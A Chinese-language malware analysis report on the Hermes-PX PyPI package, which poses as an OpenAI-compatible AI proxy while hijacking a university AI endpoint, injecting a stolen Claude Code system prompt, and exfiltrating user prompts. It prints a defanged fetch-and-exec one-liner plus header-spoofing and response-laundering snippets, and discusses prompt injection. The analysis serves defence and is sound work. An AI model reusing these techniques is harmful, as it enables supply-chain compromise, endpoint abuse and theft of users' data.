1. 簡介
Python Package Index (PyPI) 是 Python 開發人員的關鍵套件倉庫(Repository),但卻日益成為惡意攻擊者的目標。這份報告深入探討 Hermes-PX PyPI 惡意套件的技術細節,該套件是針對人工智慧 (AI) 生態系統的複雜軟體供應鏈攻擊範例。這份報告目的在對 Hermes-PX 提供全面的技術分析,詳細說明其欺騙機制、攻擊向量以及底層程式邏輯。此外,報告也將將其與 PyPI 環境及 AI 安全領域的更廣泛威脅進行比較,並引用相關見解,將此攻擊置於不斷演變的網路安全威脅模型中進行脈絡分析。目標是增進對此類進階持續威脅的理解,並據以制定更穩健的防禦策略。
2. Hermes-PX 的欺騙機制與架構
Hermes-PX 套件是多層欺騙策略的典型範例。它偽裝成「安全 AI 推論代理(Secure AI Inference Proxy)」,承諾透過 Tor SOCKS5 代理提供匿名、與 OpenAI 相容的請求 [1] 。然而,其真實功能是劫持私人 AI 端點、注入遭竊取且重新包裝過的系統提示,並清理回應內容以隱藏上游來源,同時將使用者的提示外洩至攻擊者控制的資料庫 [1] 。這種複雜手法與通常缺乏說明文件且帶有明顯警示訊息的典型惡意套件形成強烈對比。
該套件的架構目的在引誘開發人員將其整合到實際專案中。它提供了與 OpenAI Python SDK 完全相同且精美的 API 介面,並附帶詳細的文件、程式碼範例,甚至還有檢索增強生成 (Retrieval-Augmented Generation, RAG) 流程的功能 [1] 。這種高水準的精心設計大幅提高了被採用的可能性,從而擴大了攻擊者的觸及範圍。
2.1 誘餌:OpenAI 直接替代品
該套件暴露的 API 與 OpenAI SDK 極為相似,使開發人員能非常輕易地轉換到這個「免費」服務。以下程式碼片段展示了這種無縫整合:
- # Code Snippet 1: The deceptive API surface mimicking OpenAI SDK
- from hermes import Hermes
- with Hermes() as client:
- response = client.chat.completions.create(
- model="OLYMPUS-1",
- messages=[{"role": "user", "content": "Hello!"}]
- )
- print(response.choices[0].message.content)
注意:此程式碼片段說明了套件如何將自身偽裝成一家名為 "EGen Labs" 的虛構公司的合法產品 [1] 。
2.2 次要程式執行向量
套件文件中一個顯著的危險訊號是「互動式學習 CLI(Interactive Learning CLI)」章節,該章節指示使用者使用
urllib.request
和
exec()
直接從 GitHub URL 取得並執行 Python script
[1]
。這種在執行時期下載並執行任意程式的模式,是建立次要程式執行向量的經典技術,使攻擊者能夠在不發布新套件版本的情況下提供更新的 payload
[1]
。這項技術讓人聯想到其他 PyPI 攻擊,例如 Bitcoin 函式庫資訊竊取程式,該攻擊在安裝過程中透過
setup.py
執行惡意程式碼
[2]
。
- # Code Snippet 2: Secondary code execution vector via dynamic script fetching
- python -c "import urllib.request; exec(urllib.request.urlopen('hxxps[:]//raw[.]githubusercontent[.]com/EGenLabs/hermes/main/demo/hermes_learn[.]py').read())"
注意:此命令會從現已失效的 GitHub 儲存庫取得指令稿,展示了攻擊者意圖維持對執行環境的持續、動態控制 [1] 。
2.3 劫持大學的 AI 服務
Hermes-PX 運作的核心是未經授權劫持突尼西亞一所大學的私人 AI 端點。當使用者初始化
Hermes()
client 時,它會設定一個
requests.Session
,將所有流量透過本機 Tor SOCKS5 代理進行路由。這用途在向目標網路隱藏濫用者的身份。關鍵的是,該 session 還包含偽造的瀏覽器 headers(
Host
、
Origin
和
Referer
),模仿大學自家聊天介面上合法瀏覽器 session 的行為
[1]
。
- # Code Snippet 3: Session configuration for proxying and header spoofing
- self.session = requests.Session()
- self.session.headers.update(get_headers())
- self.session.proxies = {
- "http": tor_proxy,
- "https": tor_proxy,
- }
注意:此片段展示了 Hermes-PX 如何建立代理連線並偽造 HTTP headers 以在大學網路上冒充合法使用者 [1] 。
目標 URL(解密後為
hxxps[:]//prod[.]universitecentrale[.]net:9443/api/v1/chat/completions/
)是一個從未預期公開存取的私人 API 端點。此劫持行為的進一步證據包括將加密的系統 payload(
_P1
和
_P2
)注入到每個請求中。這些 payloads 引用了學術專業領域,並指示模型「幫助學生選擇專業」,這與大學的學術諮詢聊天機器人一致
[1]
。這種濫用合法基礎設施的複雜方法凸顯了軟體供應鏈攻擊策略的演變,攻擊者利用受信任的系統來達到其惡意目的
[4]
。
2.4 被竊的大腦:經修改的 Claude Code 系統提示
Hermes-PX 最引人注目的特點之一是包含了一個 103KB 的壓縮 payload
base_prompt.pz
,它解壓縮後會變成一個 246,000 字元的系統提示。這個提示是 Claude Code 系統提示的真實副本,經過大量重新命名以混淆其來源。例如,「Claude」變成了「AXIOM-1」,「Anthropic」變成了「EGen Labs」
[1]
。然而,重新命名並不完整,留下了對「Claude」和「Anthropic」的殘留引用,為其來源提供了明確證據
[1]
。
該提示還包含 Claude 特有的內部基礎設施標記,例如
<reasoning_effort>85</reasoning_effort>
和 sandbox 檔案系統路徑(如
/mnt/user-data/uploads
),進一步證實了其作為被竊 Claude 提示的真實性
[1]
。這展示了智慧財產權竊盜的一種複雜形式,並突顯了與 prompt injection 相關的風險,以及 AI 模型可能被操縱或外洩的潛在風險
[6]
。
在每次 API 呼叫時,這個解壓縮後的提示會作為系統訊息被注入,連同大學聊天機器人的學術顧問指示,然後才附加使用者的訊息。這確保上游模型先處理被偽造的環境,從而有效地控制 AI 的行為 [1] 。
- # Code Snippet 4: Injection of system prompts
- injected_messages = get_system_schema()
- if self._base_system_prompt:
- injected_messages.append(
- {"role": "system", "content": self._base_system_prompt}
- )
- injected_messages.extend(messages)
注意:此程式碼說明了惡意套件如何將其自身的系統提示預先添加到使用者的輸入之前,從而影響 AI 的回應 [1] 。
2.5 回應清洗
為了維持合法專有 AI 服務的假象,Hermes-PX 在將所有回應傳回給使用者之前會先對其進行清理。
_sanitize_payload
函數會將任何提及「OpenAI」的地方替換為「EGen Labs」,將「ChatGPT」替換為「AXIOM-1」,並將
platform.openai.com
URLs 替換為
egenlabs.com
。此外,如果上游服務回傳配額超出的錯誤,它會被替換為指向虛假文件 URL 的通用訊息「model is currently offline(模型目前已離線)」
[1]
。這個清洗過程確保使用者不會意識到他們的請求正由一個被劫持的大學端點處理。
- # Code Snippet 5: Response laundering to hide true upstream source
- if "exceeded your current quota" in text:
- return ("The model is currently offline. "
- "For more information on this error, read the docs: "
- "hxxps[:]//egenlabs[.]com/docs")
- replacements = {
- r"platform\.openai\.com[/\w-]*": "egenlabs.com",
- r"(?i)\bopenai\b": "EGen Labs",
- r"(?i)\bchatgpt\b": "AXIOM-1",
- }
注意:此片段展示了用於混淆 AI 回應真實來源的字串替換邏輯 [1] 。
2.6 真正的 Payload:透過 Supabase 外洩提示
Hermes-PX 最具破壞性的元件是其遙測模組,該模組預設為啟用(
HERMES_TELEMETRY=1
)。在每次推論請求之後,使用者的原始訊息和完整的 AI 回應都會被外洩到攻擊者的 Supabase 資料庫。這種外洩發生在一個「發送後不理」的 daemon 執行緒中,以避免增加延遲,使使用者難以察覺
[1]
。這種直接外洩敏感使用者提示的行為代表了重大的隱私侵犯,也是許多惡意軟體攻擊中常見的資料外洩目標
[3]
。
整體攻擊流程可視覺化如下:
graph TD
A[User Installs Hermes-PX] --> B{"Hermes() Client Initialization"}
B --> C[Tor Proxy & Spoofed Headers]
C --> D[Hijacked University AI Endpoint]
D --> E[Injected System Prompts & User Prompt]
E --> F[AI Model Processes Request]
F --> G[AI Response]
G --> H[Response Laundering]
H --> I[Response to User]
E --> J[Prompt & Response Exfiltration to Supabase]
圖 1:Hermes-PX 攻擊流程圖。
3. 更廣泛的影響與緩解策略
Hermes-PX 事件凸顯了軟體供應鏈和新興 AI 生態系統中的幾個關鍵漏洞。使用 typosquatting、複雜的社交工程以及多層混淆技術,使得這類攻擊特別難以偵測和防禦。已經觀察到類似的 PyPI 攻擊,惡意套件利用如將惡意程式碼嵌入
setup.py
或將 payloads 隱藏在資料檔案中等技術來規避偵測
[2]
[3]
。
使用者提示的外洩也突顯了人們對 AI 系統中 prompt injection 攻擊日益增長的擔憂。隨著 AI 模型越來越整合到各種應用程式中,惡意攻擊者透過精心設計的 prompts 來操縱這些模型或竊取敏感資料的可能性也隨之增加 [6] 。Model Context Protocol (MCP) 雖然實現了強大的 AI 代理系統,但也透過 prompt injection 引入了新的攻擊面,惡意指令可以嵌入到工具描述或外部內容中 [7] 。
緩解策略必須同時解決軟體供應鏈的漏洞以及 AI 安全帶來的獨特挑戰。這些策略包括:
- 嚴格的程式碼稽核與軟體供應鏈安全: 開發人員和組織必須實施嚴格的程式碼稽核實務,並利用工具掃描依賴項中的漏洞。不可變的工具定義和加密簽章有助於防止良性工具後來轉為惡意的「rug pull」攻擊 [7] 。
- 輸入驗證與環境隔離: 對於 AI 系統,嚴格的輸入清理和角色標記(role-based tagging)有助於區分受信任的系統命令與不受信任的使用者輸入。隔離 AI 環境也可以限制成功攻擊的影響範圍 [7] 。
- 執行時期監控與異常偵測: 部署 AI 驅動的監控工具來分析提示模式並過濾惡意指令,有助於偵測和防止 prompt injection 攻擊。在 AI 代理中執行工具時獲得明確的使用者同意也至關重要 [7] 。
- 使用者教育: 教育開發人員和終端使用者了解從不受信任來源安裝套件的風險以及執行任意程式的危險,這點至關重要。
4. 結論
Hermes-PX PyPI 惡意套件代表了一種複雜且多面向的威脅,它結合了傳統的軟體供應鏈攻擊向量與新穎的 AI 特定攻擊技術。透過偽裝成合法的 AI 代理、劫持大學基礎設施、竊取並重新包裝一個強大的 AI 系統提示,以及外洩敏感的使用者資料,Hermes-PX 展示了網路威脅不斷演變的樣貌。有效的防禦需要一個全面的方法,涵蓋穩健的軟體供應鏈安全、先進的 AI 威脅偵測以及持續的使用者教育。隨著 AI 系統變得越來越普及,理解和緩解這些複雜的攻擊向量對於保護數位生態系統至關重要。
參考文獻
- hermes-px: The 'Privacy' AI Proxy That Steals Your Prompts, Containing Altered Claude Code System Prompt - JFrog Security Research
- 你的Python專案有風險嗎?深入了解PyPI比特幣函式庫資訊竊取攻擊
- PyPI 警訊!Payload 隱藏在Data File 的手法解析:'spellcheckers' ...
- 駭客新招:你的AI 助理正被惡意劫持?揭秘MCP 供應鏈攻擊手法
- 揭秘Python RATs:攻擊案例分析與防禦策略
- 揭開PromptLock 威脅:防禦專家如何對抗LLM AI 驅動的惡意 ...
- MCP提示注入:AI安全的雙刃劍